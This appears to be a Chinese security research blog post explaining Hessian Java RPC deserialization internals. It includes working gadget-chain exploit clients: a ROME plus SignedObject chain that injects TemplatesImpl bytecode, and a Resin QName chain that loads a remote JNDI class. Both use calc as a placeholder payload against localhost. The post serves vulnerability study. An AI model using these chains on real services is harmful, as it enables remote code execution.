0x01 What Is Hessian
Hessian是一个二进制的web service协议,用于实现RPC
RPC:Remote Procedure Call 远程过程调用。
对于Java来说和RMI差不多(RMI就是RPC的一种具体实现),就是远程方法调用。
RPC框架中的三个角色:
RPC的主要功能目标是让构建分布式应用 更加容易
Copy <dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
Class Architecture
AbstractSerializerFactory
:抽象序列化器工厂,是管理和维护对应序列化/反序列化机制的工厂。
ExtSerializerFactory
:可以设置自定义的序列化机制
BeanSerializerFactory
:对Serializer
默认Object
的序列化机制进行强制指定为BeanSerializer
序列化器工厂肯定是作为IO流对象的成员去使用
Hessian
的有几个默认实现的序列化器,当然也有对应的反序列化器
Hessian ⚔ Native
Hessian
反序列化和原生反序列化有啥区别呢?
Copy import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
public String name = "taco";
public int age = 18;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
private void readObject(ObjectInputStream ois) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
原生反序列化:
Copy ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(new Person());
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
Hessian:
Copy ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output oos = new Hessian2Output(baos);
oos.writeObject(new Person());
oos.close();
Hessian2Input ois = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
原生反序列化能弹出计算器,Hessian
就不能
说明Hessian
反序列化不会自动调用反序列化类的readObject()
方法
因此JDK原生的gadget
在Hessian
反序列化中不能直接使用
实际上,Hessian
序列化的类甚至可以不需要实现Serializable
接口
🎃慢慢看下去咯
下面的分析基于Hessian4.x,默认的序列化器为UnsafeSerializer(使用unsafe在内存层面直接恢复对象)
而Hessian3.x,默认的序列化器为JavaSerializer(调用构造器创建对象和使用反射恢复字段,优先使用无参构造器)
0x02 Hessian At Your Service
Servlet Based
通过把提供服务的类注册成Servlet进行访问
Server
Copy public interface Greeting {
String sayHi(HashMap o);
}
Copy package org.taco.hessian;
import com.caucho.hessian.server.HessianServlet;
import javax.servlet.annotation.WebServlet;
import java.util.HashMap;
@WebServlet("/hessian")
public class Hello extends HessianServlet implements Greeting {
public String sayHi(HashMap o) {
return "Hi" + o.toString();
}
}
服务类需要实现服务接口,且继承com.caucho.hessian.server.HessianServlet
Client
Copy import com.caucho.hessian.client.HessianProxyFactory;
import java.net.MalformedURLException;
import java.util.HashMap;
public class Client {
public static void main(String[] args) throws MalformedURLException {
String url = "http://localhost:8080/hessian";
HessianProxyFactory factory = new HessianProxyFactory();
Greeting greet = (Greeting) factory.create(Greeting.class, url);
HashMap o = new HashMap();
o.put("taco", "black");
System.out.println(greet.sayHi(o)); // Hi{taco=black}
}
}
客户端通过com.caucho.hessian.client.HessianProxyFactory
创建对应接口的代理对象。
Spring Based
Copy package com.example.hessian_server.config;
import com.example.hessian_server.service.Greeting;
import com.example.hessian_server.service.Hello;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.remoting.caucho.HessianServiceExporter;
import javax.annotation.Resource;
@Configuration
public class HessianConfig {
@Resource
private Hello hello;
@Bean(name = "/hessian")
public HessianServiceExporter HiService() {
HessianServiceExporter exporter = new HessianServiceExporter();
exporter.setService(hello);
exporter.setServiceInterface(Greeting.class);
return exporter;
}
}
Copy package com.example.hessian_server.service;
import org.springframework.stereotype.Service;
import java.util.HashMap;
@Service
public class Hello implements Greeting{
@Override
public String sayHi(HashMap o) {
return "Hi " + o.toString();
}
}
Copy package com.example.hessian_server.service;
import java.util.HashMap;
public interface Greeting {
String sayHi(HashMap o);
}
Spring-Web 包提供了 org.springframework.remoting.caucho.HessianServiceExporter
用来暴露远程调用的接口和实现类。使用该类 export 的 Hessian Service 可以被任何 Hessian Client 访问
0x03 Dive Into Source
Server
Copy package org.taco.hessian;
import com.caucho.hessian.server.HessianServlet;
import javax.servlet.annotation.WebServlet;
import java.util.HashMap;
@WebServlet(value = "/hessian", loadOnStartup = 1)
public class Hello extends HessianServlet implements Greeting {
@Override
public String sayHi(HashMap o) {
return "Hi" + o.toString();
}
}
HessianServlet
是HttpServlet
的子类,那就存在Servlet的生命周期三个阶段:初始化(init)、运行(service)、销毁(destroy)
init
首先是初始化HessianServlet
_serializerFactory
:序列化器工厂
loadServlet
=> initServlet
=> HessianServlet#init
上面的初始化参数是通过xml配置或注解传入给HessianServlet
我们这里没有配置初始化参数,将this
(Hello对象)赋值给_homeImpl
,_homeAPI=_homeImpl.getClass()
_objectAPI
和_objectImpl
均为null,_homeSkeleton
直接赋值给_objectSkeleton
HessianSkeleton
是AbstractSkeleton
的子类,对Hessian提供的服务进行封装。
AbstractSkeleton
实例化时将接口中的public方法和方法名保存在_methodMap
,以及一些方法名的变体,如方法名__参数个数
、方法名_参数1类型_参数2类型...
。这里传入的是this
,所以顺带把Hello
从父类继承到的方法也放进去了。
service
当请求到来时会触发Servlet
的service
方法
获取序列化器工厂,创建SerializerFactory
实例
看一下这个_isEnableUnsafeSerializer
开关是怎么打开的
Copy private boolean _isEnableUnsafeSerializer
= (UnsafeSerializer.isEnabled()
&& UnsafeDeserializer.isEnabled());
UnsafeSerializer
的静态代码块判断是否开启Unsafe
序列化器
其实就是简单通过反射找到sun.misc.Unsafe
的theUnsafe
成员(Unsafe
是单例模式,静态代码块对自身进行实例化,并放到theUnsafe
属性。由于只实例化一次,对外提供getUnsafe
方法来获取自身的实例,但不允许非系统类调用)
可以通过设置全局属性com.caucho.hessian.unsafe=false
来关闭这个序列化器。一般_isEnabled
应该是开启的。
回到HessianServlet#invoke
,和RMI一样,服务端也是采用了Skeleton
代理的设计理念。
最后调用的是_homeSkeleton#invoke
判断了使用哪种协议进行数据交互(hessian/hessian2/混用)
并将原本的ServletRequest
输入流和ServletResponse
输出流封装为HessianInput
和HessianOutput
后面的readObject
和writeObject
就是基于这两个输入输出对象。
创建好输入输出流后,设置其序列化器工厂,继续invoke
这里看到多出了一个_service
对象,正是我们的Hello
对象,它是HessianSkeleton
的属性(init
构造Skeleton的时候传进来的this
)
_service
即提供方法的调用对象
Copy public void invoke(Object service,
AbstractHessianInput in,
AbstractHessianOutput out)
throws Exception
{
// ...
String methodName = in.readMethod();
int argLength = in.readMethodArgLength();
Method method;
method = getMethod(methodName + "__" + argLength);
if (method == null)
method = getMethod(methodName);
// ...
if (method == null) {
out.writeFault("NoSuchMethodException",
escapeMessage("The service has no method named: " + in.getMethod()),
null);
out.close();
return;
}
Class<?> []args = method.getParameterTypes();
if (argLength != args.length && argLength >= 0) {
out.writeFault("NoSuchMethod",
escapeMessage("method " + method + " argument length mismatch, received length=" + argLength),
null);
out.close();
return;
}
Object []values = new Object[args.length];
for (int i = 0; i < args.length; i++) {
// XXX: needs Marshal object
values[i] = in.readObject(args[i]);
}
Object result = null;
try {
result = method.invoke(service, values);
} //...
}
读取方法名(methodName
),查找调用方法(getMethod
,从_methodMap
获取),根据Method对象获取参数个数。
接着从输入流反序列化参数,传入的是参数类型(HessianInput#readObject(Class<?> cl)
)
最后调用方法,并写到输出流中进行序列化。
总结:
HessianServlet
初始化时获取到服务接口和实例对象,将接口中的方法注册到_methodMap
作为一个Servlet
,请求到来时触发service
方法,准备远程方法调用invoke
HessianSkeleton
根据请求流读取方法名、方法参数,在_methodMap
中查找方法
对方法参数进行反序列化,调用方法后将结果写到返回流进行序列化。
deserialize
跟进上文的HessianInput#readObject
,在这里对方法参数进行反序列化。
reader = _serializerFactory.getDeserializer(cl);
获取反序列化器
试图从缓存中获取,loadDeserializer
获取后放入缓存
根据调用方法的参数类型来决定使用哪个反序列化器,这里返回MapDeserializer
(MapDeserializer
的构造函数把传入的参数类型赋值给了_type
,_type
就是远程调用方法的参数类型,并且获取了_type
的无参构造器_ctor
)
接着执行MapDeserializer#readMap(HessianInput in);
Copy // ....
map = (Map) _ctor.newInstance();
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject()); // in: HessianInput
}
对键值对分别反序列化,再放入map
👉注意看,漏洞source点就在这了
map.put
对于HashMap
会触发key.hashCode()、key.equals(k)
,而对于TreeMap
会触发key.compareTo()
经过之前反序列化的du da (学习),应该能很快反应出来(CC6
、ROME
都用到了hashCode
)
那我们目标就明确了:
🚩以Map为载体,构造恶意的方法调用参数,服务端会解析请求中的方法参数,触发 hashCode
、 compareTo
方法
💦限制:远程方法接口的参数要有Map
类型,后面看看能不能绕过
现在回答上面的问题,为什么Hessian
反序列化不会执行类的readObject
方法?那它是如何得到一个对象的?
我们看看当MapEntry的值为Person
对象时Hessian
是怎么处理的。
HessianInput#readObject()
Map的元素类型未知,只能从输入流中读取任意对象。当然输入流中有对象类型的标记位。
依旧获取到M
,看来Hessian
把普通类对象当成Map
来处理了
getDeserializer(type)
首先也是调用到loadDeserializer
,根据类型获取反序列化器,这里匹配不到预置类型,只能获取默认的反序列化器
SerializerFactory#getDefaultDeserializer
默认反序列化器为UnsafeDeserializer
,在其构造函数里,会对类成员分配成员的反序列化器,并放入HashMap<String,FieldDeserializer2> _fieldMap
和原生反序列化一样,会跳过static
和transient
修饰的字段
回到UnsafeDeserializer#readMap
,先创建了一个实例对象,再对这个实例对象进行操作
这里的instantiate
就是利用的老朋友Unsafe
在内存层面直接开辟出一个对象的空间
Copy protected Object instantiate() throws Exception {
return _unsafe.allocateInstance(_type);
}
接着从输入流里读取字段名,_fieldMap
中获取对应的字段反序列化器,再对obj进行操作
FieldDeserializer2FactoryUnsafe
内置了一堆基本类型的反序列化器,大都是直接从输入流读取的数据就是字段值
接着又是熟悉的操作_unsafe.putObject(obj, _offset, value);
修改对象在内存中字段偏移量处的值
因此就没有触发我们自定义的readObject
了。
Client
Copy String url = "http://localhost:8080/hessian";
HessianProxyFactory factory = new HessianProxyFactory();
Greeting greet = (Greeting) factory.create(Greeting.class, url);
HashMap o = new HashMap();
o.put("taco", "black");
System.out.println(greet.sayHi(o));
HessianProxyFactory#create
返回一个代理对象
所以无论调用啥方法都会走到HessianProxy#invoke
方法,
获取了方法名和方法参数类型,将方法和方法名放入_mangleMap
,下次调用会首先从_mangleMap
获取方法名
发送请求获取连接对象,读取协议标志code
,根据协议标志选择使用Hessian/Hessian2
读取,最终断开连接。
sendRequest
里除了建立网络连接外,通过HessianOutput#call
来序列化方法调用参数(HessianOutput#writeObject
)
根据参数类型获取对应的序列化器。和获取反序列化器一样,这里匹配不到预置类型,只能获取默认的序列化器UnsafeSerializer
只要开启_isAllowNonSerializable
,没有实现Serializable
接口的类也能序列化!
这也是和原生反序列化的重大区别之一。
UnsafeSerializer
的构造函数中使用introspect()
自省序列化的类
看到这里序列化也跳过了static
和transient
修饰的字段
同样为每个字段分配其序列化器
0x04 Exploitation
由上分析,我们可得Hessian反序列化有如下特点:
只要开启_isAllowNonSerializable
,未实现Serializable
接口的类也能序列化
和原生反序列化一样,static
和transient
修饰的类不会被序列化和反序列化
source
不在readObject
,而是利用Map
类反序列化时会执行put
操作,触发HashMap->key.hashCode()、key.equals(k)
或TreeMap->key.compareTo()
上帝为Hessian
关上了readObject
这扇门,但同时也为它开启了AllowNonSerializable
这扇窗
若目标RPC服务暴露出去的接口方法不接收Map类型参数,我们可以找远程对象从HessianServlet
及其父类继承得到的方法。
看哪些方法接收Object或Map类型参数,在客户端的接口中添加方法即可,如
Copy public void setHome(Object home)
public void setObject(Object object)
Hessian可以配合以下来利用:
SpringPartiallyComparableAdvisorHolder <- equals
SpringAbstractBeanFactoryPointcutAdvisor <- equals
0x05 ROME + SignedObject
Rome利用链中的TemplatesImpl
由于其_tfactory
被transient
修饰,在Hessian
中无法进行序列化。
这里插一句为啥之前可以打出来
TemplatesImpl
重写了readObject
方法,在readObject
中给_tfactory
赋值了,而Hessian
中序列化和反序列化中都不会处理transient
修饰的字段
(TemplatesImpl
那条链的defineTransletClasses
要求_tfactory
不为空,否则抛出异常)
Introducing~ java.security.SignedObject#getObject
Copy public final class SignedObject implements Serializable {
public SignedObject(Serializable object, PrivateKey signingKey,
Signature signingEngine) {
// creating a stream pipe-line, from a to b
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);
// write and flush the object content to byte array
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();
// now sign the encapsulated object
this.sign(signingKey, signingEngine);
}
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
}
也是配合ROME
去打,toStringBean
触发SignedObject#getObject
,进而反序列化this.content
这里就是原生反序列化了,而且刚好SignedObject
的构造方法会帮我们序列化。
Copy import com.caucho.hessian.client.HessianProxyFactory;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.taco.hessian.service.Greeting;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
public class Client {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static byte[] getPayload() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClazz = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClazz);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
String url = "http://localhost:8080/hessian";
HessianProxyFactory factory = new HessianProxyFactory();
Greeting greet = (Greeting) factory.create(Greeting.class, url);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getPayload()});
setFieldValue(obj, "_name", "p4d0rn");
ToStringBean bean = new ToStringBean(Templates.class, obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException, "val", bean);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean = new EqualsBean(String.class, "p4d0rn");
HashMap map = new HashMap();
map.put(equalsBean, 1);
setFieldValue(equalsBean, "_beanClass", ToStringBean.class);
setFieldValue(equalsBean, "_obj", toStringBean);
greet.setHome(map);
}
}
0x06 Resin
HashMap#put
会调用key.equals(k)
,对比两个对象
com.sun.org.apache.xpath.internal.objects.XString#equals
QName
是Resin
对上下文Context
的一种封装,它的toString
方法会调用其封装类的composeName
方法获取复合上下文的名称。
看类描述就知道这类不简单了
Represents a parsed JNDI name.
public class QName implements Name{}
javax.naming.spi.ContinuationContext#composeName
跟进getTargetContext
,调用NamingManager#getContext
跟进NamingManager#getContext
-> NamingManager#getObjectFactoryFromReference
首先试图通过当前上下文类加载器加载
Copy public Class<?> loadClassWithoutInit(String className) throws ClassNotFoundException {
return loadClass(className, false, getContextClassLoader());
}
Class<?> loadClass(String className, boolean initialize, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, initialize, cl);
return cls;
}
这里的上下文类加载器是通过Thread.currentThread().getContextClassLoader();
或ClassLoader.getSystemClassLoader();
获取的
显然会找不到我们指定的类,再从Reference获取codebase。
高版本JDK默认不开启codebase(trustURLCodebase
为false
),这里也就无法通过URLClassLoader加载远程类了。
对于低版本JDK,就少了codebase这部分判断,直接远程加载类。
Copy import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class Client {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
XString xString = new XString("p4d0rn");
Class contextClass = Class.forName("javax.naming.spi.ContinuationContext");
Constructor constructor = contextClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(new Reference("calc", "calc", "http://127.0.0.1:8088/"));
Context context = (Context) constructor.newInstance(cpe, new Hashtable());
QName qName = new QName(context, "x", "y");
HashMap map = new HashMap();
xString.equals(qName);
}
}
这里要构造可用的payload涉及到hash构造,先放着📌
Spring AOP
Spring Context + AOP
Reference
https://paper.seebug.org/1131/